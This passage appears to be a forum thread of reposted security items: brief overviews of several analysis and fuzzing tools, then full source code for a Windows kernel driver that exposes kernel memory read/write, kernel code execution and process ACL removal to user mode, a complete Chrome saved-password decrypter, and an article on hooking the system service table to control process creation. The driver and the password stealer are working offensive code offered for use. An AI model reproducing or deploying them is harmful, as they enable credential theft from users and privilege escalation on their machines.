  12. [h=2]Fino Android Security Assessment Tool[/h]February 2nd, 2014 Mourad Ben Lakhoua Security assessment tools have several ways for conducting the technical analyses. Fino is another program that you can use to run dynamic analyses for Android based application. The tool allows injecting services in the application for controlling and monitoring the change. The android application we want to verify will be running in emulator that is called gadget or what we call usually a sandbox and dynamically verify all changes on the system. Next it is possible to run python scripts to get or modify the services. You may get all target activities by running “activities =app.find(‘android.app.Activity’)“ the idea of monitoring services with the injection can make you monitor the application from inside and you will have details about the android application with more accurate results. Fino design in the slide deck the full pdf file over here: http://events.ccc.de/congress/2012/Fahrplan/attachments/2237_SmallFootprintInspectionAndroid-slides.pdf You can download Fino on the following link: https://github.com/sysdream/fino Sursa: Fino Android Security Assessment Tool | SecTechno
  13. [h=2]Volafox Mac OS X Memory Analysis Toolkit[/h] May 4th, 2014 Mourad Ben Lakhoua Volafox is an open source toolkit that you can use for Mac OS X and BSD forensics. The tool is a python based and allows investigating security incidents and finding information for malwares and any malicious program on the system. Security analyst can have the following information using this tool: MAC Kernel version, CPU, and memory specification Mounted filesystems Kernel Extensions listing Process listing Task listing (Finding process hiding) Syscall table (Hooking detection) Mach trap table (Hooking detection) Network socket listing (Hash table) Open files listing by process Show Boot information EFI System Table, EFI Runtime Services Print a hostname You can download the tool on the following link: https://code.google.com/p/volafox/ Sursa: Volafox Mac OS X Memory Analysis Toolkit | SecTechno
  14. [h=2]Fuzzware 1.5- Fuzzing Tool[/h] March 2nd, 2014 Mourad Ben Lakhoua Fuzzing is a process that is used during a penetration testing to find out if the application is vulnerable, the process come by sending incorrect data to the targeted application in order to cause a failure or an error situation that security analyst will use as a PoC in their report. Fuzzware is a generic fuzzing framework that can be considered for such operation. Fuzzware UI (click to enlarge) Fuzzware allows to make testcases as required: fuzz a file format such as XML file. fuzz network protocol or a network service by sending a predefined network packets. fuzz an interface that you need to test including web services. you can define a custom input that is coming from a code. You can download Fuzzware 1.5 over this link: download Sursa: Fuzzware 1.5- Fuzzing Tool | SecTechno
  15. [h=2]Pinpoint- Tool to find malicious objects[/h]August 31st, 2014 Mourad Ben Lakhoua Many online website host malwares or link to a malicious file without their knowledge. Normally this may takes some time to find out the compromised files. Pinpoint is a tool that you can use to scan and identify the infected files. The tool will list all external javascripts, javascript redirects or any iFrame on the targeted website. Pinpoint have the following options: Disable Compression – sends the HTTP request without the encoding option Enable Entropy – performs the entropy check Ignore Safe Sites – ignores common sites that host frameworks, ads, and other legitimate content so it doesn’t get downloaded Ignore CSS – ignores external CSS files so that it doesn’t get downloaded This tool will be useful especially if you are using external plugins that may contain a risk to visitors. you can download pinpoint over this link: Tools | Kahu Security Sursa: Pinpoint- Tool to find malicious objects | SecTechno
  16. Nytro

    binglide

    binglide is a visual reverse engineering tool. It is designed to offer a quick overview of the different data types that are present in a file. The screenshot bellow shows a small portion of the php5 binary that has a weird signature pattern: This tool does not know about any particular file format, everything is done using the same analysis working on the data. This means it works even if headers are missing or corrupted or if the file format is unknown. Sursa: https://github.com/wapiflapi/binglide
  17. [h=1]Driver for kernel memory access[/h]by zwclose7 This driver allows user mode applications to access kernel memory. It also allows user mode application to execute code in kernel mode. It has a DLL that allows user mode applications to access the driver. Features 1) Read and write kernel memory. 2) Execute code in kernel mode. 3) Allocate kernel memory. 4) Remove ACL from a process, allowing any user to access the process. Source code (driver) #include <ntifs.h> #include <ntddk.h> #define IOCTL_READWRITE_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_GET_SYSTEM_ADDRESS CTL_CODE(FILE_DEVICE_UNKNOWN,0x801,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_EXECUTE_CODE CTL_CODE(FILE_DEVICE_UNKNOWN,0x802,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_ALLOC_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x803,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_FREE_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x804,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_ZERO_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x805,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_REMOVE_PROCESS_ACL CTL_CODE(FILE_DEVICE_UNKNOWN,0x806,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) typedef ULONG (NTAPI *PKERNEL_CODE)(PVOID); typedef enum _KERNEL_MEMORY_ACCESS { Read, Write }KERNEL_MEMORY_ACCESS,*PKERNEL_MEMORY_ACCESS; typedef struct _KMEM_ACCESS { KERNEL_MEMORY_ACCESS Operation; PVOID Address; PVOID Buffer; ULONG Length; }KMEM_ACCESS,*PKMEM_ACCESS; typedef struct _SYSTEM_ADDRESS_INFO { PWSTR Name; PVOID* Address; }SYSTEM_ADDRESS_INFO,*PSYSTEM_ADDRESS_INFO; typedef struct _KERNEL_CODE_EXECUTION { PKERNEL_CODE Address; PVOID Parameter; PULONG ReturnValue; }KERNEL_CODE_EXECUTION,*PKERNEL_CODE_EXECUTION; typedef struct _ALLOC_KERNEL_MEMORY { PVOID* Address; ULONG Length; }ALLOC_KERNEL_MEMORY,*PALLOC_KERNEL_MEMORY; UNICODE_STRING DeviceName,SymbolicLink; PDEVICE_OBJECT pDeviceObject; NTSTATUS ReadKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { if(!Length) { return STATUS_INVALID_PARAMETER; } __try { if(ExGetPreviousMode()!=KernelMode) { ProbeForWrite(Buffer,Length,1); } memcpy(Buffer,Address,Length); } __except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); } return STATUS_SUCCESS; } NTSTATUS WriteKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { if(!Length) { return STATUS_INVALID_PARAMETER; } __asm { cli mov eax,cr0 and eax,not 0x10000 mov cr0,eax } __try { if(ExGetPreviousMode()!=KernelMode) { ProbeForRead(Buffer,Length,1); } memcpy(Address,Buffer,Length); } __except(EXCEPTION_EXECUTE_HANDLER) { __asm { mov eax,cr0 or eax,0x10000 mov cr0,eax sti } return GetExceptionCode(); } __asm { mov eax,cr0 or eax,0x10000 mov cr0,eax sti } return STATUS_SUCCESS; } NTSTATUS DispatchCreateClose(PDEVICE_OBJECT DeviceObject,PIRP irp) { irp->IoStatus.Status=STATUS_SUCCESS; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DispatchDeviceControl(PDEVICE_OBJECT DeviceObject,PIRP irp) { NTSTATUS status; PIO_STACK_LOCATION io; PKMEM_ACCESS kmem; PSYSTEM_ADDRESS_INFO AddressInfo; PKERNEL_CODE_EXECUTION CodeExec; PKERNEL_CODE Code; PALLOC_KERNEL_MEMORY alloc; UNICODE_STRING FunctionName; PEPROCESS Process; io=irp->Tail.Overlay.CurrentStackLocation; switch(io->Parameters.DeviceIoControl.IoControlCode) { case IOCTL_READWRITE_KERNEL_MEMORY: kmem=(PKMEM_ACCESS)irp->AssociatedIrp.SystemBuffer; switch(kmem->Operation) { case Read: status=ReadKernelMemory(kmem->Address,kmem->Buffer,kmem->Length); break; case Write: status=WriteKernelMemory(kmem->Address,kmem->Buffer,kmem->Length); break; default: status=STATUS_INVALID_PARAMETER; break; } break; case IOCTL_GET_SYSTEM_ADDRESS: AddressInfo=(PSYSTEM_ADDRESS_INFO)irp->AssociatedIrp.SystemBuffer; RtlInitUnicodeString(&FunctionName,AddressInfo->Name); *AddressInfo->Address=MmGetSystemRoutineAddress(&FunctionName); status=STATUS_SUCCESS; break; case IOCTL_EXECUTE_CODE: CodeExec=(PKERNEL_CODE_EXECUTION)irp->AssociatedIrp.SystemBuffer; __try { Code=CodeExec->Address; *CodeExec->ReturnValue=Code(CodeExec->Parameter); } __except(EXCEPTION_EXECUTE_HANDLER) { *CodeExec->ReturnValue=GetExceptionCode(); } status=STATUS_SUCCESS; break; case IOCTL_ALLOC_KERNEL_MEMORY: alloc=(PALLOC_KERNEL_MEMORY)irp->AssociatedIrp.SystemBuffer; *alloc->Address=ExAllocatePool(NonPagedPool,alloc->Length); status=STATUS_SUCCESS; break; case IOCTL_FREE_KERNEL_MEMORY: ExFreePool(*(PVOID*)irp->AssociatedIrp.SystemBuffer); status=STATUS_SUCCESS; break; case IOCTL_ZERO_KERNEL_MEMORY: __asm { cli mov eax,cr0 and eax,not 0x10000 mov cr0,eax } kmem=(PKMEM_ACCESS)irp->AssociatedIrp.SystemBuffer; memset(kmem->Address,0,kmem->Length); __asm { mov eax,cr0 or eax,0x10000 mov cr0,eax sti } status=STATUS_SUCCESS; break; case IOCTL_REMOVE_PROCESS_ACL: status=PsLookupProcessByProcessId((HANDLE)(*(PULONG)irp->AssociatedIrp.SystemBuffer),&Process); if(NT_SUCCESS(status)) { *(PVOID*)((PUCHAR)Process-sizeof(PVOID))=NULL; ObDereferenceObject(Process); } break; default: status=STATUS_INVALID_DEVICE_REQUEST; break; } irp->IoStatus.Status=status; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } void Unload(PDRIVER_OBJECT pDriverObject) { IoDeleteSymbolicLink(&SymbolicLink); IoDeleteDevice(pDriverObject->DeviceObject); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { RtlInitUnicodeString(&DeviceName,L"\\Device\\KernelMemoryAccess"); RtlInitUnicodeString(&SymbolicLink,L"\\DosDevices\\KernelMemoryAccess"); IoCreateDevice(pDriverObject,0,&DeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,&pDeviceObject); IoCreateSymbolicLink(&SymbolicLink,&DeviceName); pDriverObject->MajorFunction[iRP_MJ_CREATE]=DispatchCreateClose; pDriverObject->MajorFunction[iRP_MJ_CLOSE]=DispatchCreateClose; pDriverObject->MajorFunction[iRP_MJ_DEVICE_CONTROL]=DispatchDeviceControl; pDriverObject->DriverUnload=Unload; pDeviceObject->Flags|=DO_DIRECT_IO; pDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; return STATUS_SUCCESS; } Source code (DLL) #include <Windows.h> #include "KrnlFuncs.h" HANDLE DeviceHandle; BOOL WINAPI ReadKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { ULONG i; KMEM_ACCESS kmem; kmem.Operation=Read; kmem.Address=Address; kmem.Buffer=Buffer; kmem.Length=Length; return DeviceIoControl(DeviceHandle,IOCTL_READWRITE_KERNEL_MEMORY,&kmem,sizeof(KMEM_ACCESS),NULL,0,&i,NULL); } BOOL WINAPI WriteKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { ULONG i; KMEM_ACCESS kmem; kmem.Operation=Write; kmem.Address=Address; kmem.Buffer=Buffer; kmem.Length=Length; return DeviceIoControl(DeviceHandle,IOCTL_READWRITE_KERNEL_MEMORY,&kmem,sizeof(KMEM_ACCESS),NULL,0,&i,NULL); } PVOID WINAPI GetSystemAddressW(LPWSTR Name) { ULONG i; PVOID Address; SYSTEM_ADDRESS_INFO AddressInfo; AddressInfo.Name=Name; AddressInfo.Address=&Address; if(!DeviceIoControl(DeviceHandle,IOCTL_GET_SYSTEM_ADDRESS,&AddressInfo,sizeof(SYSTEM_ADDRESS_INFO),NULL,0,&i,NULL)) { return NULL; } return Address; } PVOID WINAPI GetSystemAddressA(LPSTR Name) { ULONG i,Length; PVOID p; LPWSTR uName; Length=strlen(Name)+1*sizeof(wchar_t); uName=(LPWSTR)VirtualAlloc(NULL,Length,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); for(i=0;i<Length;i++) { uName=Name; } p=GetSystemAddressW(uName); VirtualFree(uName,0,MEM_RELEASE); return p; } ULONG WINAPI ExecuteCode(PKERNEL_CODE Address,PVOID Parameter) { ULONG i; KERNEL_CODE_EXECUTION CodeExec; ULONG ReturnValue; CodeExec.Address=Address; CodeExec.Parameter=Parameter; CodeExec.ReturnValue=&ReturnValue; if(!DeviceIoControl(DeviceHandle,IOCTL_EXECUTE_CODE,&CodeExec,sizeof(KERNEL_CODE_EXECUTION),NULL,0,&i,NULL)) { return -1; } return ReturnValue; } PVOID WINAPI AllocKernelMemory(ULONG Length) { ULONG i; PVOID Address; ALLOC_KERNEL_MEMORY alloc; alloc.Address=&Address; alloc.Length=Length; if(!DeviceIoControl(DeviceHandle,IOCTL_ALLOC_KERNEL_MEMORY,&alloc,sizeof(ALLOC_KERNEL_MEMORY),NULL,0,&i,NULL)) { return NULL; } return Address; } void WINAPI FreeKernelMemory(PVOID Address) { ULONG i; DeviceIoControl(DeviceHandle,IOCTL_FREE_KERNEL_MEMORY,&Address,sizeof(PVOID),NULL,0,&i,NULL); } void WINAPI ZeroKernelMemory(PVOID Address,ULONG Length) { ULONG i; KMEM_ACCESS kmem; kmem.Operation=Write; kmem.Address=Address; kmem.Buffer=NULL; kmem.Length=Length; DeviceIoControl(DeviceHandle,IOCTL_ZERO_KERNEL_MEMORY,&kmem,sizeof(KMEM_ACCESS),NULL,0,&i,NULL); } BOOL WINAPI RemoveProcessAcl(ULONG ProcessId) { ULONG i; return DeviceIoControl(DeviceHandle,IOCTL_REMOVE_PROCESS_ACL,&ProcessId,sizeof(ULONG),NULL,0,&i,NULL); } BOOL WINAPI DllMain(HMODULE hModule,DWORD dwReason,LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: DeviceHandle=CreateFile(L"\\\\.\\KernelMemoryAccess",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(DeviceHandle==INVALID_HANDLE_VALUE) { return FALSE; } break; case DLL_PROCESS_DETACH: CloseHandle(DeviceHandle); break; } return TRUE; } [h=4]Attached Files[/h] KernelMemoryAccess.zip 380.47KB 45 downloads Sursa: Driver for kernel memory access - Source Codes - rohitab.com - Forums
  18. Author: Athenian (roman) Versiunea incarca dinamic SQLite si apeleaza dinamic functiile necesare. /*** Chrome password decrypter By Athenian ***/ #include <windows.h> #include <iostream> #include <ShlObj.h> using namespace std; #pragma comment(lib,"sqlite3") #pragma comment(lib,"crypt32") //Lets see where Google Chrome application is installed char * readRegistryValue(){ LPCSTR value = "Path"; HKEY hkey = NULL; char * sk = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe"; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sk,0,KEY_READ,&hkey) != ERROR_SUCCESS) { return NULL; } char path[MAX_PATH] = {0}; DWORD dw = 260; RegQueryValueEx(hkey,value,0,0,(BYTE *)path,&dw); RegCloseKey(hkey); char *ret = new char[strlen(path)+1]; strcpy(ret,path); return ret; //delete[]ret; } char *Crack(BYTE *pass){ DATA_BLOB in; DATA_BLOB out; BYTE trick[1024]; memcpy(trick,pass,1024); int size = sizeof(trick) / sizeof(trick[0]); in.pbData = pass; in.cbData = size+1;//we can't use strlen on a byte pointer,becouse of the NBs,so we have to be tricky dicky:) char str[1024] = ""; if (CryptUnprotectData(&in,NULL,NULL,NULL,NULL,0,&out)){ for(int i = 0; i<out.cbData; i++) str = out.pbData; str[out.cbData]='\0'; return str; } else return NULL; //Error on decryption } //To get to Appdata\local bool getPath(char *ret,int id){ memset(ret,0,sizeof(ret)); if(SUCCEEDED(SHGetFolderPath(NULL,id | CSIDL_FLAG_CREATE,NULL,SHGFP_TYPE_CURRENT,ret))) return true; return false; } //SQLITE definitions #define SQLITE_OK 0 #define SQLITE_ROW 100 #define SQLITE_API typedef struct sqlite3 sqlite3; typedef struct sqlite3_stmt sqlite3_stmt; //SQLITE function pointers typedef int(SQLITE_API *fpSqliteOpen)(const char *, sqlite3 **); typedef int(SQLITE_API *fpSqlitePrepare_v2)(sqlite3 *, const char *, int, sqlite3_stmt **, const char **); typedef int(SQLITE_API *fpSqliteStep)(sqlite3_stmt *); typedef const unsigned char *(SQLITE_API *fpSqliteColumnText)(sqlite3_stmt*, int); typedef int(SQLITE_API *fpSqliteFinalize)(sqlite3_stmt *); typedef int(SQLITE_API *fpSqliteClose)(sqlite3 *); fpSqliteOpen sqlite3_open; fpSqlitePrepare_v2 sqlite3_prepare_v2; fpSqliteStep sqlite3_step; fpSqliteColumnText sqlite3_column_text; fpSqliteFinalize sqlite3_finalize; fpSqliteClose sqlite3_close; void main(){ //Load sqlite.dll HMODULE sqliteLib = LoadLibrary("sqlite3.dll"); if (sqliteLib){ //Lets find the functions in the dll sqlite3_open = (fpSqliteOpen)GetProcAddress(sqliteLib,"sqlite3_open"); sqlite3_prepare_v2 = (fpSqlitePrepare_v2)GetProcAddress(sqliteLib,"sqlite3_prepare_v2"); sqlite3_step = (fpSqliteStep)GetProcAddress(sqliteLib,"sqlite3_step"); sqlite3_column_text = (fpSqliteColumnText)GetProcAddress(sqliteLib,"sqlite3_column_text"); sqlite3_finalize = (fpSqliteFinalize)GetProcAddress(sqliteLib,"sqlite3_finalize"); sqlite3_close = (fpSqliteClose)GetProcAddress(sqliteLib,"sqlite3_close"); char *installPath = readRegistryValue(); if (installPath != NULL){ printf("Installed in: %s\n",installPath); //Now we have to call same sqlite functions to start decrypting this shit:) sqlite3_stmt *stmt; sqlite3 *db; char databasePath[260]; getPath(databasePath,0x1C); strcat(databasePath,"\\Google\\Chrome\\User Data\\Default\\Login Data"); char *query = "SELECT origin_url, username_value, password_value FROM logins"; //Open the database if (sqlite3_open(databasePath, &db) == SQLITE_OK) { if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) { //Lets begin reading data while (sqlite3_step(stmt) == SQLITE_ROW) { //While we still have data in database char *url = (char *)sqlite3_column_text(stmt,0); char *username = (char *)sqlite3_column_text(stmt,1); BYTE *password = (BYTE *)sqlite3_column_text(stmt,2); //This is the only encrypted field printf("Url: %s\n",url); printf("Username: %s\n",username); char *decrypted = Crack(password); printf("Password: %s\n",decrypted); } } else printf("Error preparing database!\n"); sqlite3_finalize(stmt); sqlite3_close(db); } else printf("Error opening database!\n"); } else printf("Google Chrome is not installed!\n"); delete[]installPath; FreeLibrary(sqliteLib); } else printf("Necessary sqlite dll not found!\n"); cin.get(); } Sursa: Google Chrome password crack - Programming - rohitab.com - Forums
  19. Hooking the native API and controlling process creation on a system-wide basis Anton Bassov, 18 Oct 2005 How to hook the native API and control process creation on a system-wide basis. Download source files - 10.8 Kb Download demo project - 12.1 Kb Introduction Recently I came across the description of a quite interesting security product, called Sanctuary. This product prevents execution of any program that does not appear on the list of software that is allowed to run on a particular machine. As a result, the PC user is protected against various add-on spyware, worms and trojans - even if some piece of malware finds its way to his/her computer, it has no chance of being executed, and, hence, has no chance of causing any damage to the machine. Certainly, I found this feature interesting, and, after a bit of thinking, came up with my own implementation of it. Therefore, this article describes how process creation can be programmatically monitored and controlled on a system-wide basis by means of hooking the native API. This article makes a "bold" assumption that the target process is being created by user-mode code (shell functions, CreateProcess(), manual process creation as a sequence of native API calls, etc). Although, theoretically, a process may be launched by kernel-mode code, such possibility is, for practical purposes, negligible, so we don't have to worry about it. Why??? Try to think logically - in order to launch a process from the kernel mode, one has to load a driver, which, in turn, implies execution of some user-mode code, in the first place. Therefore, in order to prevent execution of unauthorized programs, we can safely limit ourselves to controlling process creation by user-mode code on a system-wide basis. Defining our strategy First of all, let's decide what we have to do in order to monitor and control process creation on a system-wide basis. Process creation is a fairly complex thing, which involves quite a lot of work (if you don't believe me, you can disassemble CreateProcess(), so you will see it with your own eyes). In order to launch a process, the following steps have to be taken: Executable file has to be opened for FILE_EXECUTE access. Executable image has to be loaded into RAM. Process Executive Object (EPROCESS, KPROCESS and PEB structures) has to be set up. Address space for the newly created process has to be allocated. Thread Executive Object for the primary thread of the process (ETHREAD, KTHREAD and TEB structures) has to be set up. Stack for the primary thread has to be allocated. Execution context for the primary thread of the process has to be set up. Win32 subsystem has to be informed about the new process. In order for any of these steps to be successful, all previous steps have to be accomplished successfully (you cannot set up an Executive Process Object without a handle to the executable section; you cannot map an executable section without file handle, etc). Therefore, if we decide to abort any of these steps, all subsequent ones will fail as well, so that process creation will get aborted. It is understandable that all the above steps are taken by means of calling certain native API functions. Therefore, in order to monitor and control process creation, all we have to do is to hook those API functions that cannot be bypassed by the code that is about to launch a new process. Which native API functions should we hook? Although NtCreateProcess() seems to be the most obvious answer to the question, this answer is wrong - it is possible to create a process without calling this function. For example, CreateProcess() sets up process-related kernel-mode structures without calling NtCreateProcess(). Therefore, hooking NtCreateProcess() is of no help to us. In order to monitor process creation, we have to hook either NtCreateFile() and NtOpenFile(), or NtCreateSection() - there is absolutely no way to run any executable file without making these API calls. If we decide to monitor calls to NtCreateFile() and NtOpenFile(), we have to make a distinction between process creation and regular file IO operations. This task is not always easy. For example, what should we do if some executable file is being opened for FILE_ALL_ACCESS??? Is it just an IO operation or is it a part of a process creation??? It is hard to make any judgment at this point - we need to see what the calling thread is about to do next. Therefore, hooking NtCreateFile() and NtOpenFile() is not the best possible option. Hooking NtCreateSection() is a much more reasonable thing to do - if we intercept a call to NtCreateSection() with the request of mapping the executable file as an image (SEC_IMAGE attribute), combined with the request of page protection that allows execution, we can be sure that the process is about to be launched. At this point we are able to take a decision, and, in case if we don't want the process to be created, make NtCreateSection() return STATUS_ACCESS_DENIED. Therefore, in order to gain full control over process creation on the target machine, all we have to do is to hook NtCreateSection() on a system-wide basis. Like any other stub from ntdll.dll, NtCreateSection() loads EAX with the service index, makes EDX point to function parameters, and transfers execution to KiDispatchService() kernel-mode routine (this is done by the INT 0x2E instruction under Windows NT/2000 and SYSENTER instruction under Windows XP). After validating function parameters, KiDispatchService() transfers execution to the actual implementation of the service, the address of which is available from the Service Descriptor Table (pointer to this table is exported by ntoskrnl.exe as the KeServiceDescriptorTable variable, so it is available to kernel-mode drivers). The Service Descriptor Table is described by the following structure: struct SYS_SERVICE_TABLE { void **ServiceTable; unsigned long CounterTable; unsigned long ServiceLimit; void **ArgumentsTable; }; The ServiceTable field of this structure points to the array that holds addresses of all the functions that implement system services. Therefore, all we have to do in order to hook any native API function on a system-wide basis is to write the address of our proxy function to the i-th entry (i is the service index) of the array, pointed to by the ServiceTable field of KeServiceDescriptorTable. Looks like now we know everything we need to know in order to monitor and control process creation on a system-wide basis. Let's proceed to the actual work. Controlling process creation Our solution consists of a kernel-mode driver and a user-mode application. In order to start monitoring process creation, our application passes the service index, corresponding to NtCreateSection(), plus the address of the exchange buffer, to our driver. This is done by the following code: //open devicedevice=CreateFile("\\\\.\\PROTECTOR",GENERIC_READ|GENERIC_WRITE, 0,0,OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM,0); // get index of NtCreateSection, and pass it to the driver, along with the //address of output buffer DWORD * addr=(DWORD *) (1+(DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateSection")); ZeroMemory(outputbuff,256); controlbuff[0]=addr[0]; controlbuff[1]=(DWORD)&outputbuff[0]; DeviceIoControl(device,1000,controlbuff,256,controlbuff,256,&dw,0); The code is almost self-explanatory - the only thing that deserves a bit of attention is the way we get the service index. All stubs from ntdll.dll start with the line MOV EAX, ServiceIndex, which applies to any version and flavour of Windows NT. This is a 5-byte instruction, with MOV EAX opcode as the first byte and the service index as remaining 4 bytes. Therefore, in order to get the service index that corresponds to some particular native API function, all you have to do is to read 4 bytes from the address, located 1 byte away from the beginning of the stub. Now let's look at what our driver does when it receives IOCTL from our application: NTSTATUS DrvDispatch(IN PDEVICE_OBJECT device,IN PIRP Irp){ UCHAR*buff=0; ULONG a,base; PIO_STACK_LOCATION loc=IoGetCurrentIrpStackLocation(Irp); if(loc->Parameters.DeviceIoControl.IoControlCode==1000) { buff=(UCHAR*)Irp->AssociatedIrp.SystemBuffer; // hook service dispatch table memmove(&Index,buff,4); a=4*Index+(ULONG)KeServiceDescriptorTable->ServiceTable; base=(ULONG)MmMapIoSpace(MmGetPhysicalAddress((void*)a),4,0); a=(ULONG)&Proxy; _asm { mov eax,base mov ebx,dword ptr[eax] mov RealCallee,ebx mov ebx,a mov dword ptr[eax],ebx } MmUnmapIoSpace(base,4); memmove(&a,&buff[4],4); output=(char*)MmMapIoSpace(MmGetPhysicalAddress((void*)a),256,0); } Irp->IoStatus.Status=0; IoCompleteRequest(Irp,IO_NO_INCREMENT); return 0; } As you can see, there is nothing special here either - we just map the exchange buffer into the kernel address space by MmMapIoSpace(), plus write the address of our proxy function to the Service Table (certainly, we do it after having saved the address of the actual service implementation in the RealCallee global variable). In order to overwrite the appropriate entry of the Service Table, we map the target address with MmMapIoSpace(). Why do we do it? After all, we already have an access to the Service Table, don't we? The problem is that the Service Table may reside in read-only memory. Therefore, we have to check whether we have write access to the target page, and if we don't, we have to change page protection before overwriting the Service Table. Too much work, don't you think? Therefore, we just map our target address with MmMapIoSpace(), so we don't have to worry about page protection any more - from now on we can take write access to the target page for granted. Now let's look at our proxy function: //this function decides whether we should //allow NtCreateSection() call to be successfull ULONG __stdcall check(PULONG arg) { HANDLE hand=0;PFILE_OBJECT file=0; POBJECT_HANDLE_INFORMATION info;ULONG a;char*buff; ANSI_STRING str; LARGE_INTEGER li;li.QuadPart=-10000; //check the flags. If PAGE_EXECUTE access to the section is not requested, //it does not make sense to be bothered about it if((arg[4]&0xf0)==0)return 1; if((arg[5]&0x01000000)==0)return 1; //get the file name via the file handle hand=(HANDLE)arg[6]; ObReferenceObjectByHandle(hand,0,0,KernelMode,&file,&info); if(!file)return 1; RtlUnicodeStringToAnsiString(&str,&file->FileName,1); a=str.Length;buff=str.Buffer; while(1) { if(buff[a]=='.'){a++;break;} a--; } ObDereferenceObject(file); //if it is not executable, it does not make sense to be bothered about it //return 1 if(_stricmp(&buff[a],"exe")){RtlFreeAnsiString(&str);return 1;} //now we are going to ask user's opinion. //Write file name to the buffer, and wait until //the user indicates the response //(1 as a first DWORD means we can proceed) //synchronize access to the buffer KeWaitForSingleObject(&event,Executive,KernelMode,0,0); // set first 2 DWORD of a buffer to zero, // copy the string into the buffer, and loop // until the user sets first DWORD to 1. // The value of the second DWORD indicates user's //response strcpy(&output[8],buff); RtlFreeAnsiString(&str); a=1; memmove(&output[0],&a,4); while(1) { KeDelayExecutionThread(KernelMode,0,&li); memmove(&a,&output[0],4); if(!a)break; } memmove(&a,&output[4],4); KeSetEvent(&event,0,0); return a; } //just saves execution contect and calls check() _declspec(naked) Proxy() { _asm{ //save execution contect and calls check() //-the rest depends upon the value check() returns // if it is 1, proceed to the actual callee. //Otherwise,return STATUS_ACCESS_DENIED pushfd pushad mov ebx,esp add ebx,40 push ebx call check cmp eax,1 jne block //proceed to the actual callee popad popfd jmp RealCallee //return STATUS_ACCESS_DENIED block:popad mov ebx, dword ptr[esp+8] mov dword ptr[ebx],0 mov eax,0xC0000022L popfd ret 32 } } Proxy() saves registers and flags, pushes a pointer to the service parameters on the stack, and calls check(). The rest depends on the value check() returns. If check() returns TRUE (i.e. we want to proceed with the request), Proxy() restores registers and flags, and transfers control to the service implementation. Otherwise, Proxy() writes STATUS_ACCESS_DENIED to EAX, restores ESP and returns - from the caller's perspective it looks like NtCreateSection() call had failed with STATUS_ACCESS_DENIED error status. How does check() make its decision? Once it receives a pointer to the service parameters as an argument, it can examine these parameters. First of all, it checks flags and attributes - if a section is not requested to be mapped as an executable image, or if the requested page protection does not allow execution, we can be sure that NtCreateSection() call has nothing to do with process creation. In such a case check() returns TRUE straight away. Otherwise, it checks the extension of the underlying file - after all, the SEC_IMAGE attribute and the page protection that allows execution may be requested for mapping some DLL file. If the underlying file is not a .exe file, check() returns TRUE. Otherwise, it gives the user-mode code a chance to take its decision. Therefore, it just writes the file name and the path to the exchange buffer, and polls it until it gets the response. Before opening our driver, our application creates a thread that runs the following function: void thread(){ DWORD a,x; char msgbuff[512]; while(1) { memmove(&a,&outputbuff[0],4); //if nothing is there, Sleep() 10 ms and check again if(!a){Sleep(10);continue;} // looks like our permission is asked. If the file // in question is already in the white list, // give a positive response char*name=(char*)&outputbuff[8]; for(x=0;x<stringcount;x++) { if(!stricmp(name,strings[x])){a=1;goto skip;} } // ask user's permission to run the program strcpy(msgbuff, "Do you want to run "); strcat(msgbuff,&outputbuff[8]); // if user's reply is positive, add the program to the white list if(IDYES==MessageBox(0, msgbuff,"WARNING", MB_YESNO|MB_ICONQUESTION|0x00200000L)) {a=1; strings[stringcount]=_strdup(name);stringcount++;} else a=0; // write response to the buffer, and driver will get it skip:memmove(&outputbuff[4],&a,4); //tell the driver to go ahead a=0; memmove(&outputbuff[0],&a,4); } } This code is self-explanatory - our thread polls the exchange buffer every 10 ms. If it discovers that our driver has posted its request to the buffer, it checks the file name and path against the list of programs that are allowed to run on the machine. If the match is found, it gives an OK response straight away. Otherwise, it displays a message box, asking the user whether he allows the program in question to be executed. If the response is positive, we add the program in question to the list of software that is allowed to run on the machine. Finally, we write the user response to the buffer, i.e., pass it to our driver. Therefore, the user gets the full control of processes creation on his PC - as long as our program runs, there is absolutely no way to launch any process on the PC without asking user permission. As you can see, we make the kernel-mode code wait for the user response. Is it really a wise thing to do??? In order to answer this question, you have to ask yourself whether you are blocking any critical system resources -everything depends on the situation. In our case everything happens at IRQL PASSIVE_LEVEL, dealing with IRPs is not involved, and the thread that has to wait for the user response is not of critical importance. Therefore, in our case everything works fine. However, this sample is written for demonstration purposes only. In order to make any practical use of it, it makes sense to rewrite our application as an auto-start service. In such a case, I suggest we should make an exemption for the LocalSystem account, and, in case if NtCreateSection() is called in the context of a thread with LocalSystem account privileges, proceed to the actual service implementation without performing any checks -after all, LocalSystem account runs only those executables that are specified in the Registry. Therefore, such an exemption is 